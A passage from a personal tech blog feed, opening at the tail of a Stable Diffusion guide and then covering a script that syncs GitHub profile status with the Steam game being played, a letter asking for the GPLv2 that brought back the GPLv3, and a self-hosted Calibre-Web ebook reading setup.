<h3 id="notes-and-further-reading" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-stable-diffusion-on-ubuntu/#notes-and-further-reading">Notes and further reading</a></h3>
<p>Type <code>--help</code> at the <code>dream></code> prompt to see a list of options. You can use flags like <code>-n5</code> to generate multiple images, <code>-s</code> for number of steps, and <code>-g</code> to generate a grid.</p>
<p>More details, including how to use an image as a starting prompt, can be found in <a href="https://github.com/lstein/stable-diffusion#interactive-command-line-interface-similar-to-the-discord-bot">the README</a>.</p>
<h2 id="prompts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/run-stable-diffusion-on-ubuntu/#prompts">Prompts</a></h2>
<p>If you’re like me, you will need ideas for prompts. The best place to start, I’ve found, the <a href="https://lexica.art/">Lexica.art</a> site. Find something interesting, and copy the prompt used, then try modifying it.</p>
Syncing your Github status with your currently playing Steam game2022-08-27T00:00:00Zhttps://code.mendhak.com/steam-github-profile-status/<p>I have written a script that will attempt to update your Github user profile status with the game currently being played on Steam. I haven’t been using the Github Profile Status feature for any purpose, so might as well use it for something interesting to me.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/steam-github-profile-status/001.png">
<img src="https://code.mendhak.com/assets/images/steam-github-profile-status/001.png" alt="Example" loading="lazy" /></span>
<figcaption>Example</figcaption>
</figure><p></p>
<p>The script can mark the status as ‘busy’, and also expires the status after a certain number of hours.</p>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/mendhak/steam-github-profile-status"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> mendhak/steam-github-profile-status </span> </a> </div> <div class="github-repo-text">Set your Github profile status with the game currently being played on Steam. Available as Docker image, Github Action or script.</div> <div class="stats-icons"> <a href="https://github.com/mendhak/steam-github-profile-status/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 2 </a> <a href="https://github.com/mendhak/steam-github-profile-status/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 0 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> JavaScript</a> </div></div>
<h2 id="setup" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/steam-github-profile-status/#setup">Setup</a></h2>
<p>The script is available as a Github Action, a Docker image, and a standalone script. That should provide enough flexibility to run it as part of Github CI, or a Raspberry Pi, or something else.</p>
<p>Regardless of how you run it, there is a little setup required first.</p>
<p>Your Steam Profile will need to be set to public, since the library used simply scrapes the Steam profile page. You’ll also need to know what your Steam ID is, which you can get from <a href="https://steamid.io/">SteamID.io</a>.</p>
<p>On Github, you will need to generate a <a href="https://github.com/settings/tokens">Github Access Token</a>, with the <code>user</code> scope.</p>
<h3 id="run-it-as-a-github-action" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/steam-github-profile-status/#run-it-as-a-github-action">Run it as a Github Action</a></h3>
<p>You can consider running it <a href="https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#schedule">on a Github Action schedule</a>.</p>
<pre><code> - name: Set My Github Status From Steam
uses: mendhak/steam-github-profile-status@v1.1
env:
STEAM_USER_ID: "YOUR_STEAM_USER_ID"
GITHUB_ACCESS_TOKEN: "$"
</code></pre>
<p>Where <code>MY_GITHUB_ACCESS_TOKEN</code> is an Actions Secret in your repository, and it contains the Github Access Token value generated earlier.</p>
<h3 id="run-it-in-a-docker-container" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/steam-github-profile-status/#run-it-in-a-docker-container">Run it in a Docker container</a></h3>
<p>To run it in a Docker container:</p>
<pre><code>docker run --rm -e GITHUB_ACCESS_TOKEN=xxxxxxxxxxxxxxxxx -e STEAM_USER_ID=76561197984170060 mendhak/steam-github-profile-status:latest
</code></pre>
<h3 id="run-it-standalone" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/steam-github-profile-status/#run-it-standalone">Run it standalone</a></h3>
<p>To run it as a standalone NodeJS script:</p>
<pre><code>export STEAM_USER_ID=76561197984170060
export GITHUB_ACCESS_TOKEN=xxxxxxxxxxxxxxxxx
node index.js
</code></pre>
<h2 id="additional-configuration" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/steam-github-profile-status/#additional-configuration">Additional configuration</a></h2>
<p>You can choose whether you are shown as busy or not by passing a <code>GITHUB_STATUS_SHOW_BUSY=True</code> environment variable.</p>
<p>You can set the status expiry time in hours by passing a <code>GITHUB_STATUS_EXPIRES_AFTER=3</code> environment variable.</p>
<h2 id="limitations" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/steam-github-profile-status/#limitations">Limitations</a></h2>
<p>So far I haven’t found a way to get this to work with non-Steam games. The library I’m using doesn’t expose this information and <a href="https://github.com/DoctorMcKay/node-steamcommunity/issues/290">I’ve raised an issue on their Github repo</a></p>
I wrote to the address in the GPLv2 license notice and received the GPLv3 license2022-07-16T00:00:00Zhttps://code.mendhak.com/gpl-v2-address-letter/<p>Dealing with open source software, I regularly encounter many kinds of licenses — MIT, Apache, BSD, GPL being the most prominent — and I’ve taken time out to read them. Of the many, the GNU General Public License (GPL) stands out the most. It <a href="https://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html">reads like a letter</a> to the reader rather than legalese, and feels quite in tune with the spirit of open source and software freedom.</p>
<p>Although GPLv3 is the most current version, I commonly encounter software that makes use of GPLv2. I got curious about the last line in its license notice:</p>
<pre><code>You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
</code></pre>
<p>Why does this license notice have a physical address, and not a URL? After all, even though the full license doesn’t often get included with software, it’s a simple matter to do a search and find the text of the GPLv2. Do people write to this address, and what happens if you do?</p>
<h2 id="asking-the-question-on-stack-exchange" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gpl-v2-address-letter/#asking-the-question-on-stack-exchange">Asking the question on Stack Exchange</a></h2>
<p>I turned to the <a href="https://opensource.stackexchange.com/questions/12714/why-does-gplv2-include-a-mailing-address-51-franklin-street-in-the-license-not">Open Source Stack Exchange</a> and got a very helpful answer. It’s because the GPLv2 was published in 1991, and most people were not online. Most people would have acquired software through physical media (such as tape or floppies) rather than a download.</p>
<p>Considering the storage constraints back then, it wouldn’t be surprising if developers only included the license notice, and not the entire license. It makes sense that the most common form of communication would have been through post.</p>
<p>The GPLv3, published in 2007, does contain a URL in the license notice since Internet usage was more widespread at the time.</p>
<h2 id="writing-to-them" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gpl-v2-address-letter/#writing-to-them">Writing to them</a></h2>
<p>I decided to write to the address to see what would happen. To do that, I would need some stamps and envelopes (I found one at my workplace) to send the request, and a self addressed enveloped with an <a href="https://en.wikipedia.org/wiki/International_reply_coupon">international reply coupon</a> to cover the cost of the reply.</p>
<p>I was disappointed to find out that the UK’s Royal Mail <a href="https://www.royalmail.com/reply-sender">discontinued international reply coupons in 2011</a>. The only alternative that I could think of was to buy some US stamps.</p>
<h3 id="i-got-some-stamps" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gpl-v2-address-letter/#i-got-some-stamps">I got some stamps</a></h3>
<p>The easiest place to look for US stamps was on Ebay. I didn’t realize that I was stepping briefly into the world of philately; most stamp listings on Ebay were covered in phrases and terminology such as very fine grade, MNH (Mint Never Hinged), FDC (First Day Cover), NDC (No Die Cut), NDN (Nondenominated), and so on. It’s pretty easy to glean that these are properties that collectors would be looking for.</p>
<p>I ordered what seemed to be a ‘global’ stamp, for the smallest but safest amount that I could (about £3.86). The listing mentioned that it was ‘uncertified’ which was mildly unnerving, did that mean it was an invalid stamp? I decided to chance it, and quickly exited that world.</p>
<p>After a few weeks of waiting, I eventually received the ‘African Daisy global forever vert pair’ stamp which was round! I should have noticed that the seller sent me the item using stamps at a much lower denomination that those I had ordered. Oh well.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/gpl-v2-address-letter/003a.jpg"><img src="https://code.mendhak.com/assets/images/gpl-v2-address-letter/003a.jpg" alt="Envelope from ebay seller containing stamps" loading="lazy" data-caption="Envelope from ebay seller containing stamps" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/gpl-v2-address-letter/003b.jpg"><img src="https://code.mendhak.com/assets/images/gpl-v2-address-letter/003b.jpg" alt="Round global US stamps, 2022" loading="lazy" data-caption="Round global US stamps, 2022" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Ebay seller sent me some stamps</figcaption></figure>
<h3 id="i-prepared-the-request" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gpl-v2-address-letter/#i-prepared-the-request">I prepared the request</a></h3>
<p>With the self addressed envelope ready, I wrote the request and addressed it to the GPLv2 address. Luckily I did have some UK stamps available to send the letter with.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/gpl-v2-address-letter/004a.jpg">
<img src="https://code.mendhak.com/assets/images/gpl-v2-address-letter/004a.jpg" alt="Letter to FSF, with envelope affixed with UK stamps" title="" loading="lazy" /></span>
<figcaption>I wrote a letter</figcaption>
</figure><p></p>
<p>Writing the address on the envelope was awkward, as I haven’t used a pen in several years; it took a few attempts and some wasted envelopes, printing the address would have taken less time. But it was ready so I posted it in my nearest Royal Mail box.</p>
<h2 id="receiving-the-reply" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gpl-v2-address-letter/#receiving-the-reply">Receiving the reply</a></h2>
<p>I had posted the letter in June 2022 and about five later weeks later, I received a reply. The round stamps looked sufficiently stamped upon with wavy lines, known as <a href="https://en.wikipedia.org/wiki/Cancellation_(mail)">cancellation marks</a>, which are yet another thing that philatelists like to collect!</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/gpl-v2-address-letter/005a.jpg">
<img src="https://code.mendhak.com/assets/images/gpl-v2-address-letter/005a.jpg" alt="Envelope with cancellation marks, using the round global US stamps" title="" loading="lazy" /></span>
<figcaption>I received a reply</figcaption>
</figure><p></p>
<p>Anyway the letter inside contained the full license text on 5 sheets of double-sided paper.</p>
<h3 id="the-paper-was-a-weird-size" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gpl-v2-address-letter/#the-paper-was-a-weird-size">The paper was a weird size</a></h3>
<p>The first thing that came to attention, the paper that the text was printed on wasn’t an A4, it was smaller and not a size I was familiar with. I measured it and found that it’s a US letter size paper at about 21.5cm x 27.9cm. I completely forgot that the US, Canada, and a few other countries don’t follow the standard international paper sizes, even though I had <a href="https://code.mendhak.com/paper-sizes-standard/#some-paper-sizes-are-arbitrary">written about it</a> earlier.</p>
<h3 id="i-received-the-gpl-v3" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gpl-v2-address-letter/#i-received-the-gpl-v3">I received the GPL v3</a></h3>
<p>There was a problem that I noticed right away, though: this text was from the GPL <em>v3</em>, not the GPL <em>v2</em>. In my original request I had never mentioned the GPL version I was asking about.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/gpl-v2-address-letter/006a.jpg"><img src="https://code.mendhak.com/assets/images/gpl-v2-address-letter/006a.jpg" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/gpl-v2-address-letter/006b.jpg"><img src="https://code.mendhak.com/assets/images/gpl-v2-address-letter/006b.jpg" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/gpl-v2-address-letter/006c.jpg"><img src="https://code.mendhak.com/assets/images/gpl-v2-address-letter/006c.jpg" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<figcaption>GPL license</figcaption></figure>
<p>The original license notice makes no mention of GPL version either. Should the fact that the license notice contained an address have been enough metadata or a clue, that I was actually requesting the GPL v2 license? Or should I have mentioned that I was seeking the GPLv2 license?</p>
<p>I could choose to pursue by writing again and requesting the right thing, but it would take too much effort to follow up on, and I’m overall satisfied with what I received. As a postal introvert, I will now need a long period of rest to recoup.</p>
My ebook reading setup2022-07-02T00:00:00Zhttps://code.mendhak.com/my-ebook-reading-setup/<p>I used to have a simple life — I’d buy books off Amazon, and read them on a Kindle. But over the past few years, my reading habits changed drastically. I’m now reading a lot more things, from a lot more sources, on a lot more devices and have had to break out of the Amazon bubble.</p>
<p>But I still wanted a relatively convenient setup for fetching and reading ebooks, and I’ve managed to achieve something that’s working well enough for me. I’m able to get books from the library, bundles, direct downloads, and I access them from my computer, phone as well as Kindle device. Here I’m writing up my ebook getting, surfacing, and reading setup, along with the reasoning behind each of the decisions I’ve made.</p>
<h2 id="where-i-get-books" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#where-i-get-books">Where I get books</a></h2>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/002.png">
<img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/002.png" alt="Sources" loading="lazy" /></span>
<figcaption>Sources</figcaption>
</figure><p></p>
<h3 id="the-library" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#the-library">The library</a></h3>
<p>Libraries are great because you can borrow books for free, which sounds obvious but is quite easy to forget when you’re in any ecosystem. I pay council tax, of which a portion goes towards my local council library. My library is part of the UK’s <a href="https://thelibrariesconsortium.org.uk/">Libraries Consortium</a>, and through Overdrive they provide ebooks to borrow, for free. Joining was easy — I only had to walk in with proof of address, I got a library card, and that was my login details for the online library.</p>
<p>The selection is actually better than I thought it would be, and I regularly find several items from my ‘Want to Read’ list. Since there are limited copies of these ebooks (due to publisher restrictions), I don’t always find the book available to borrow right away, but I can place a hold on them. I get notified by email when it’s available to borrow, at which point I go and download it, and add it to my Calibre library.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/005a.png">
<img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/005a.png" alt="Library" loading="lazy" /></span>
<figcaption>Library</figcaption>
</figure><p></p>
<h3 id="online-stores" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#online-stores">Online stores</a></h3>
<p>Amazon is my main source for buying books, especially when I don’t want to wait for a library copy, or if I want to show support for an author. There are other stores too which I’ll check out when there are sales, such as Kobo and Google Play. Although books from all major online stores come with DRM (due to publisher restrictions), dealing with Adobe’s Digital Editions (ADE) software is particularly loathsome and I try to avoid it.</p>
<p>With Amazon, I can at least download purchased books through the web browser. With stores that deliver through ADE, not only does it require a software installation, you can only activate up to 6 times, after which you have to contact their equally loathsome customer services team and explain that you wipe your devices regularly and are reinstalling their loathsome software to get some books.</p>
<h3 id="light-novels-and-web-novels" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#light-novels-and-web-novels">Light novels and web novels</a></h3>
<p>I have been reading more series from the world of Japanese, Korean, and Chinese Light Novels (<a href="https://anime.stackexchange.com/questions/13301/what-exactly-is-a-light-novel">the name is misleading</a>, many series go into thousands of pages). More often than not, they are only available as fan translations and downloadable as epubs. However this situation is slowly changing as more series are being officially translated and made available in stores.</p>
<p>With Web Novels, authors will self publish their stories in blog posts for anyone to read, and similarly, the popular ones will get fan translations. When I find an interesting series, I’ll compile several chapters into epubs for some binge reading.</p>
<h3 id="free-ebooks-and-direct-downloads" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#free-ebooks-and-direct-downloads">Free ebooks and direct downloads</a></h3>
<p>Humble Bundle will sometimes offer book bundles on sale, and there are occasionally Tor.com promotions of free books. Thankfully these are DRM free.</p>
<p>For literary classics, I’ll try out <a href="https://www.gutenberg.org/">Project Gutenberg</a> which is quite well known, but can be hit-or-miss in terms of quality. For a more curated experience, <a href="https://standardebooks.org/">Standard Ebooks</a> offers well formatted epubs too.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/004a.png"><img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/004a.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/004b.png"><img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/004b.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Free books</figcaption></figure>
<h2 id="organizing-files-in-calibre" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#organizing-files-in-calibre">Organizing files in Calibre</a></h2>
<p>At the center of my workflow is <a href="https://calibre-ebook.com/">Calibre</a>, an ebook management software.</p>
<p>When adding a book to the Calibre library I’ll ensure that both epub and mobi formats are generated, if either format is missing. Epub because it’s universal and widely accepted, and mobi for Kindle devices. Calibre comes with convenience functions such as metadata download (series, high res covers, tags) which helps pretty up the presentation. I’ve also added a custom column to track the read status, “Read”, which is a simple boolean type.</p>
<p>Calibre stores its metadata in a local database file, while the actual books are kept on disk, relative to the path of the database. Both the Calibre database as well as the ebook files files are then synced up to Google Drive using <a href="https://insynchq.com/">Insync</a> which works well on Linux.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/003.png">
<img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/003.png" alt="Calibre" loading="lazy" /></span>
<figcaption>Calibre</figcaption>
</figure><p></p>
<h2 id="how-i-make-the-library-available" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#how-i-make-the-library-available">How I make the library available</a></h2>
<p>The next step is making the library available from anywhere, both at home and while outside, such as at work or while travelling. This involves putting the library on the internet, which in turn means web access. Because Calibre is a desktop application, it’s not so simple to make it available from anywhere; it does come with a built in content server but it’s meant for simple access and library management.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/007.png">
<img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/007.png" alt="Calibre-Web on Raspberry Pi" loading="lazy" /></span>
<figcaption>Calibre-Web on Raspberry Pi</figcaption>
</figure><p></p>
<h3 id="calibre-web" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#calibre-web">Calibre-Web</a></h3>
<p>The <a href="https://github.com/janeczku/calibre-web">Calibre-Web</a> project is a fully featured web UI over the Calibre database. It presents a web page as well as an <a href="https://en.wikipedia.org/wiki/Open_Publication_Distribution_System">OPDS feed</a>, the importance of which will become apparent later.</p>
<p>Calibre-Web can run in a Docker container, which makes it a perfect candidate for running on a Raspberry Pi. Having it run on a Raspberry Pi means I don’t need to keep my computer running all the time, and I can benefit from its lower power consumption.</p>
<p>To run, Calibre-Web requires the Calibre database file, as well as the books themselves. I sync these down on a schedule using <a href="https://rclone.org/">Rclone</a>, a commandline application that can sync from Google Drive (among dozens of other sources). Calibre-Web automatically picks up the latest changes, and is also able to show my Unread books based on the custom column I created in Calibre earlier. Clicking on a book brings up its dialogue, I can then download the book to the device I’m accessing it from. As an added bonus, it comes with OAuth authentication and I can use my Github login.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/006.png">
<img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/006.png" alt="Calibre-Web" loading="lazy" /></span>
<figcaption>Calibre-Web</figcaption>
</figure><p></p>
<h3 id="cloudflare-tunnel" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#cloudflare-tunnel">Cloudflare Tunnel</a></h3>
<p>To expose Calibre-Web to the internet, I <em>could</em> open a port on my home router and forward all traffic to the Raspberry Pi, but a much neater way of doing it is through <a href="https://www.cloudflare.com/en-gb/products/tunnel/">Cloudflare’s tunnel</a> which doesn’t require opening any ports at all. Since my DNS is hosted in Cloudflare, the tunnel works by mapping a DNS hostname, <code>mylibrary.example.com</code> directly through Cloudflare’s network to the tunnel software running on the Raspberry Pi, which forwards traffic onto the Calibre-Web server.</p>
<p>I’ve got the entire setup with instructions in a <a href="https://github.com/mendhak/docker-calibre-web-cloudflared">Github repo</a>. Everything required is in <a href="https://github.com/mendhak/docker-calibre-web-cloudflared/blob/master/docker-compose.yml">the docker-compose.yml</a>, including running the tunnel.</p>
<h2 id="how-i-read-my-books" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#how-i-read-my-books">How I read my books</a></h2>
<p>Now that I’ve made the library available, I can access it from the applications and devices that I want to read from. This is where the application choices become important. They need to be good at rendering a book of course, but also need to be able to access an online catalog. For this, there exists the Open Publication Distribution System format, or OPDS. Most mature readers will be able to access an OPDS feed to present a library to the user and know how to authenticate against those and fetch the right format of books to present. Calibre-Web presents its OPDS feed at <code>https://mylibrary.example.com/opds</code>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/011.png">
<img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/011.png" alt="Reading from devices" loading="lazy" /></span>
<figcaption>Reading from devices</figcaption>
</figure><p></p>
<h3 id="on-desktop-foliate" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#on-desktop-foliate">On Desktop, Foliate</a></h3>
<p>I have tried numerous ebook reading applications on desktop, mobile, and tablets. Of all of them, nothing comes close to the simplicity of <a href="https://johnfactotum.github.io/foliate/">Foliate</a>. A really important factor in reading is immersion, and in terms of software that translates as ensuring that it gets out of your way. Foliate is the reader I’ve found that does this best. It can go full screen, with no controls visible, like a Zen mode. The font colors and backgrounds can be customized and I like to play around with those; for instance I can set a dark background, with gray or yellowish text, and set Bookerly as the font. It’s pretty easy on the eyes.</p>
<p>It may sound strange, reading on a computer, especially on a 27" 2560x1440 gaming monitor with 144Hz refresh rate. After all, dedicated reader devices do exist, but it works for me; I will usually have Foliate open on my second monitor while I’m gaming, writing, or programming on the main monitor. It’s nice to glance away, read a little bit as a break, and then get back to the main task. In fact, I’m doing it right now.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/008.png">
<img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/008.png" alt="Calibre-Web" loading="lazy" /></span>
<figcaption>Calibre-Web</figcaption>
</figure><p></p>
<p>Foliate Catalog feature can access libraries available over the OPDS format. Since Calibre-Web makes my library available that way, I simply connect Foliate to <code>https://mylibrary.example.com/opds</code>, enter credentials, and connect. The presentation is basic — it can list the categories, including unread, allows some searching, and can add the books to its library for reading.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/009a.png"><img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/009a.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/009b.png"><img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/009b.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Foliate catalog view and customized reading view</figcaption></figure>
<h3 id="on-mobile-moon-reader-pro" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#on-mobile-moon-reader-pro">On Mobile, Moon+ Reader Pro</a></h3>
<p>Interacting with content on a mobile device isn’t the same as readers, tablets, or desktops. Page turns don’t really translate well, scrolling feels a lot more natural. So in addition to the immersion factor, and the ability to set background and text color, and fonts, and accessing OPDS feeds… another important feature for mobile reading applications is the ability to have continuous scrolling. And yet it’s surprisingly uncommon! Moon+ Reader does have the ability, though it’s not made very obvious. I believe I had to set the Page Flip animation to “none” for it to go to continuous scrolling.</p>
<p>As mentioned, Moon+ Reader can access OPDS feeds, under the Net Library menu. It’s a very utilitarian presentation, not even the covers are visible, only the ability to pick a format to download. It’s good enough, and lets me get reading right away. A really neat feature in this app is also the ability to control brightness, so if I’m reading on the phone at night, or in bright sunlight, I can change the screen brightness by sliding my finger across the left edge.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/010a.png"><img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/010a.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/010b.png"><img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/010b.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Moon+ Reader net library, and customized reading view</figcaption></figure>
<h3 id="the-kindle" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#the-kindle">The Kindle</a></h3>
<p>Eink screen are my favorite type of reading surface. No eye strain, crisp presentation, perfect for extended reading sessions. I’ve mostly ever bought Kindles (though Sony PRS-505 was my first reader), simply because they are popular and good physical devices. However after transforming my reading setup into something more diverse, a lot of the Kindle’s shortcomings become more apparent. Kindles can’t (won’t) render epubs, so I have to convert books to mobi or azw3 just for this one device.</p>
<p>It can’t read from OPDS feeds either. Instead, I have to use its experimental browser, as it’s called, and navigate to the Calibre-Web UI, login, download the book and then open it. The browser has been experimental since the very first Kindle, you’d think they have had enough time by now to make it stable. The adjective ‘experimental’ does not fill me with confidence either, as it implies that the browser could be taken away at any time. And I won’t be surprised if that happens, Amazon simply does not care about catering to books that originate from outside its ecosystem. They’ve allowed Goodreads to stagnate after all.</p>
<p>Without the Amazon ecosystem at the forefront, the Kindle device on its own merits, is just OK. It’s not mediocre, but it’s not amazing either. In the future I might consider different eink devices, both Kobo and Onyx seem to have compelling offerings.</p>
<h2 id="what-doesn-t-work-syncing" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#what-doesn-t-work-syncing">What doesn’t work: syncing</a></h2>
<p>A glaring omission in all of this is something that the Kindle ecosystem did use to provide, and that’s syncing position across books. There is no solution available that can sync across disparate devices and applications seamlessly. My workaround is to simply jump to the part of the book I was reading at, and find the exact place to resume. It’s not a dealbreak, but is a minor inconvenience.</p>
<p>It would feel like the OPDS feed, or some ‘endpoint’ along those lines, could become a place to manage this kind of tracking. The difficulty in coming up with such a protocol is that reading position is a piece of stateful information, and that information needs to be written somewhere. The endpoint could store the position in its own database format, or even inside the Calibre DB, but either way, it requires all applications and devices to subscribe to said protocol.</p>
